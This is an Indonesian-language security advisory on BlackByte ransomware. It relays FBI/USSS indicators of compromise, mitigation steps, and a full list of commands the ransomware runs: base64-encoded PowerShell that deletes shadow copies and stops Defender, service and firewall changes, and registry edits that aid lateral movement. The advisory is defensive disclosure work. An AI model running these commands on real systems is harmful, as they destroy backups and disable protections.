PERINGATAN KEAMANAN
RANSOMWARE BLACKBYTE

Ringkasan Eksekutif

1. BlackByte merupakan kelompok *Ransomware as a Service* (RaaS) yang mengenkripsi file pada sistem *host* Windows terkompromi, termasuk server fisik dan virtual.
2. Berdasarkan laporan yang didapatkan, BlackByte menggunakan kerentanan Microsoft Exchange Server sebagai sarana untuk mendapatkan akses ke jaringan korban.
3. Mengingat dampak yang mungkin muncul dari *ransomware BlackByte* ini, diharapkan para pengguna sistem elektronik untuk segera melakukan tindakan-tindakan mitigasi yang dijelaskan pada peringatan keamanan ini.

PENDAHULUAN

Pada tanggal 15 Februari 2022, *Federal Bureau of Investigation* (FBI) dan *United States Secret Service* (USSS) mengeluarkan *Cybersecurity Advisory* (CSA) yang mengidentifikasikan *Indicators of Compromise* (IoCs) berkaitan dengan *ransomware* BlackByte. BlackByte merupakan kelompok *Ransomware as a Service* (RaaS) yang mengenkripsi file pada sistem *host* Windows terkompromi, termasuk server fisik dan virtual. BlackByte *ransomware* membuat *file* tidak dapat diakses dengan mengenkripsi *file* dan menuliskan catatan tebusan (*file* “BlackByte_restoremyfiles.hta”) yang berisi instruksi tentang cara menghubungi penyerang untuk dekripsi data dan detail lainnya.

BlackByte juga menambahkan ekstensi ‘.blackbyte” pada nama *file* yang terenkripsi. Kemudian BlackByte juga menawarkan untuk mendekripsi 2 (dua) *file* secara gratis untuk membuktikan bahwa penyerang merupakan Kelompok Ransomware BlackByte. Dekripsi file secara gratis tersebut memiliki catatan yaitu file tidak boleh lebih besar dari 3 (TIGA) megabyte dan tidak boleh berisikan informasi penting. Penyerang juga memperingatkan korban untuk tidak mendekripsi *file* karena dapat merusaknya. Korban disarankan untuk tidak membayar tebusan yang diminta oleh penyerang untuk mendapatkan alat dekripsi karena penyerang dimungkinkan tidak akan mengirimkannya.

DETAIL TEKNIS

Pelaku *ransomware* biasanya menggunakan Trojan, *email*, dan sumber yang tidak dapat dipercaya untuk mengunduh *file* atau program, alat peretas perangkat lunak, dan *update* perangkat lunak yang palsu untuk menyebarkan *malware*. Eksekusi BlackByte meninggalkan catatan tebusan pada semua direktori tempat enkripsi terjadi. Dari beberapa laporan yang didapatkan, BlackByte menggunakan kerentanan Microsoft Exchange Server sebagai sarana untuk mendapatkan akses ke jaringan korban. Setelah penyerang masuk, penyerang menggunakan alat untuk bergerak secara lateral melintasi jaringan dan meningkatkan hak istimewa sebelum mengekstrak dan mengenkripsi file.

Terdapat perbedaan antara Versi BlackByte sebelumnya dan versi BlackByte saat ini. Versi BlackByte sebelumnya mengunduh file .png dari alamat IP 185.93.6.31 dan 45.9.148.114 sebelum mengenkripsi. Sementara versi yang lebih baru mengenkripsi tanpa berkomunikasi dengan alamat IP eksternal apapun. *Ransomware* BlackByte menjalankan *executable* dari **c:\windows\system32\ dan C:\Windows\.**

Berikut merupakan IoC yang kemungkinan besar berkaitan dengan aktivitas BlackByte:

Berberapa file berbahaya ditemukan di lokasi berikut:
`Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET Files\root\e22c2559\92c7e946`
`inetpub\wwwroot\aspnet_client`
`Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth`
`Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current`
`Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\themes`
`Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\scripts`
`Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\scripts\premium`

Nama *file* untuk file ASPX yang mencurigakan memiliki konvensi nama sebagai berikut:

- <5 random alphabetical characters>.aspx
- error<2 capital letters>.aspx
- iismeta<4 random numbers>.aspx

***File* berbahaya juga ditemukan di lokasi berikut:**
`%AppData%\BB.ico` *File* ini adalah *icon* untuk file dengan ekstensi .blackbyte
`%AppData%\BlackByteRestore.txt` *File* ini merupakan catatan permintaan tebusan yang diletakkan pada setiap folder dimana terdapat file yang terenkripsi.
`%AppData%\dummy` *File* ini adalah file teks yang berisi daftar nama mesin yang dapat dijangkau di jaringan.
`%HOMEPATH%\complex.exe` *File* ini merupakan *ransomware* yang dapat dieksekusi.
`Users\tree.dll` *File* ini berisi pesan "*Your HACKED by BlackByte team. Connect us to restore your system*."

Scheduled tasks dapat dibuat dan artefak telah ditemukan di lokasi :

Windows\System32\Tasks:

`C:\Users\<username>\complex.exe -single <SHA256>.` *Command* ini untuk meluncurkan *ransomware.*
`C:\Windows\System32\cmd.exe /c for /l %x in (1,1,75) do start wordpad.exe /p C:\Users\ tree.dll.` *Command* ini mencoba membuka `tree.dll` pada *wordpad* sebanyak 75 kali dan mencetak kontennya.

Log IIS berisi permintaan *GET* dan *POST* ke berbagai file ASPX berbahaya dengan pola "<FILE_PATH>/<SUSPICIOUS_FILENAME>.aspxexec_code=Response.Write"

Berikut adalah daftar *hash* dari *file* berbahaya yang telah diamati pada sistem terdampak oleh *ransomware* BlackByte:

4d2da36174633565f3dd5ed6dc5033c4	959a7df5c465fcd963a641d87c18a565
cd7034692d8f29f9146deb3641de7986	5f40e1859053b70df9c0753d327f2cee
d63a7756bfdcd2be6c755bf288a92c8b	df7befc8cdc3c5434ef27cc669fb1e4b
eed7357ab8d2fe31ea3dbcf3f9b7ec74	51f2cf541f004d3c1fa8b0f94c89914a
695e343b81a7b0208cbae33e11f7044c	d9e94f076d175ace80f211ea298fa46e
296c51eb03e70808304b5f0e050f4f94	8320d9ec2eab7f5ff49186b2e630a15f
0c7b8da133799dd72d0dbe3ea012031e	cea6be26d81a8ff3db0d9da666cd0f8f
a77899602387665cddb6a0f021184a2b	31f818372fa07d1fd158c91510b6a077
1473c91e9c0588f92928bed0ebf5e0f4	d9e94f076d175ace80f211ea298fa46e
28b791746c97c0c04dcbfe0954e7173b	a9cf6dce244ad9afd8ca92820b9c11b9
52b8ae74406e2f52fd81c8458647acd8	7139415fecd716bec6d38d2004176f5d
1785f4058c78ae3dd030808212ae3b04	c13bf39e2f8bf49c9754de7fb1396a33
b8e24e6436f6bed17757d011780e87b9	5c0a549ae45d9abe54ab662e53c484e2
8dfa48e56fc3a6a2272771e708cdb4d2	ad29212716d0b074d976ad7e33b8f35f
4ce0bdd2d4303bf77611b8b34c7d2883	d4aa276a7fbe8dcd858174eeacbb26ce
c010d1326689b95a3d8106f75003427c	9344afc63753cd5e2ee0ff9aed43dc56

ae6fbc60ba9c0f3a0fef72aeffcd3dc7	e2eb5b57a8765856be897b4f6dadca18
405cb8b1e55bb2a50f2ef3e7c2b28496	58e8043876f2f302fbc98d00c270778b
11e35160fc4efabd0a3bd7a7c6afc91b	d2a15e76a4bfa7eb007a07fc8738edfb
659b77f88288b4874b5abe41ed36380d	e46bfbdf1031ea5a383040d0aa598d45
151c6f04aeff0e00c54929f25328f6f7	

Berikut ini adalah daftar perintah yang dieksekusi oleh complex.exe:

cmd.exe /c powershell -command "$x =
[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('VwBpA'
+'G4ARAB'+'lAGYA'+'ZQB'+'uAG'+'QA'));Stop-Service -Name $x;Set-Service -StartupType
Disabled $x"
schtasks.exe /DELETE /TN "\"Raccine Rules Updater\"" /F
cmd.exe /c vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB
cmd.exe /c vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded
cmd.exe /c vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB
cmd.exe /c vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded
cmd.exe /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB
cmd.exe /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded
cmd.exe /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB
cmd.exe /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded
cmd.exe /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB
cmd.exe /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded
cmd.exe /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB
cmd.exe /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded
powershell.exe $x =
[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('RwBIA
HQALQBXAG0AaQBPAGIAagBlAGMAdAAg'+'AFcAaQBuADMAMgBfAFMAaABhAGQAb
wB3AGMAbwBwAHkAIAB8AC'+'AARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0A
CAAewAkA'+'F8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA=='));Invoke-Expression $x
sc.exe config SQLTELEMETRY start= disabled
sc.exe config SQLTELEMETRY$ECWDB2 start= disabled
sc.exe config SQLWriter start= disabled
sc.exe config SstpSvc start= disabled
powershell.exe Set-MpPreference -EnableControlledFolderAccess Disabled
sc.exe config MBAMService start= disabled
sc.exe config wuauserv start= disabled
sc.exe config Dnscache start= auto
sc.exe config fdPHost start= auto
sc.exe config FDResPub start= auto
sc.exe config SSDPSRV start= auto
sc.exe config upnphost start= auto
sc.exe config RemoteRegistry start= auto
cmd.exe /c netsh advfirewall firewall set rule "group=\"Network Discovery\"" new

enable=Yes
cmd.exe /c netsh advfirewall firewall set rule "group=\"File and Printer Sharing\"" new
enable=Yes
cmd.exe /c reg add
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v
LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
cmd.exe /c reg add
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v
EnableLinkedConnections /t REG_DWORD /d 1 /f
cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\FileSystem /v
LongPathsEnabled /t REG_DWORD /d 1 /f
mountvol.exe A: \\?\Volume{d7e47829-0000-0000-0000-100000000000}\
mountvol.exe B: \\?\Volume{d7e47829-0000-0000-0000-b0e213000000}\
mountvol.exe E: \\?\Volume{fce79ce0-b01f-11e6-b968-806e6f6e6963}\
powershell.exe Install-WindowsFeature -Name \"RSAT-AD-PowerShell\" –
IncludeAllSubFeature
net.exe view
arp.exe -a
powershell.exe Import-Module ActiveDirectory;Get-ADComputer -Filter * -Properties * | FT
Name
notepad.exe %appdata%\RestoreMyFiles_BlackByte.txt
cmd.exe /c ping 1.1.1.1 -n 10 > Nul & Del C:\Users\REM\Desktop\hybrid-9-8\complex.exe

***Base64 encoded string* sesuai dengan *command* berikut ini:**
powershell.exe $x = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAg'+'AFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8AC'+'AARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkA'+'F8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA=='));Invoke-Expression $x

***Decode* ke:**
Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();}

***Base64 encoded string* sesuai dengan *command* berikut ini:**
md.exe /c powershell -command "$x = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('VwBpA'+'G4ARAB'+'lAGYA'+'ZQB'+'uAG'+'QA'));Stop-Service -Name $x;Set-Service -StartupType Disabled $x"

PANDUAN MITIGASI

Untuk mencegah dampak dari serangan *ransomware* BlackByte, pemilik sistem elektronik dapat melakukan langkah-langkah mitigasi sebagai berikut:

1. Menerapkan pencadangan secara rutin pada semua data dan disimpan secara *offline* dengan menerapkan perlindungan keamanan menggunakan *password.* Pastikan salinan data tidak dapat diakses untuk dimodifikasi atau dihapus dari sistem tempat data asli berada.
2. Menerapkan segmentasi jaringan sehingga seluruh mesin pada jaringan Anda tidak dapat diakses oleh mesin lainnya.
3. Melakukan instalasi dan memperbarui perangkat lunak antivirus secara rutin pada seluruh *host,* kemudian mengaktifkan fitur *real time detection.*
4. Melakukan pembaruan sistem operasi, perangkat lunak, dan *firmware* sesegera mungkin setelah *patch* dirilis.
5. Melakukan peninjauan *domain controller, server, workstation,* dan *Active Directory* untuk akun pengguna baru atau akun pengguna yang tidak dikenali.
6. Melakukan audit akun pengguna dengan hak administrative dan melakukan konfigurasi kontrol akses dengan hak istimewa terkecil. Jangan memberikan semua akun pengguna dengan hak administrative.
7. Menonaktifkan port *Remote Desktop Protocol* (RDP) yang tidak digunakan dan monitor log RDP untuk aktivitas yang tidak biasa.
8. Menambahkan *email banner* ke *email* yang diterima dari luar organisasi.
9. Menonaktifkan *hyperlink* pada *email* yang diterima.
10. Menggunakan *two factor authentication* pada saat masuk ke akun atau layanan.
11. Memastikan bahwa telah dilakukan audit rutin untuk seluruh akun.
12. Memastikan semua IoC yang terindentifikasi dimasukkan ke dalam jaringan SIEM untuk pemonitoran serta peringatan berkelanjutan.
13. Mengunduh program dan file dari situs web resmi dan hanya melalui tautan langsung yang terpercaya.

REFERENSI

[1] "Indicator of Compromise Associated with BlackByte Ransomware", [Online]. Available: https://www.ic3.gov/Media/News/2022/220211.pdf . [Diakses 15 Februari 2022].

[2] "How to Eliminate BlackByte Ransomware?", [Online]. Available: https://www.pcrisk.com/removal-guides/21939-blackbyte-ransomware . [Diakses 16 Februari 2022].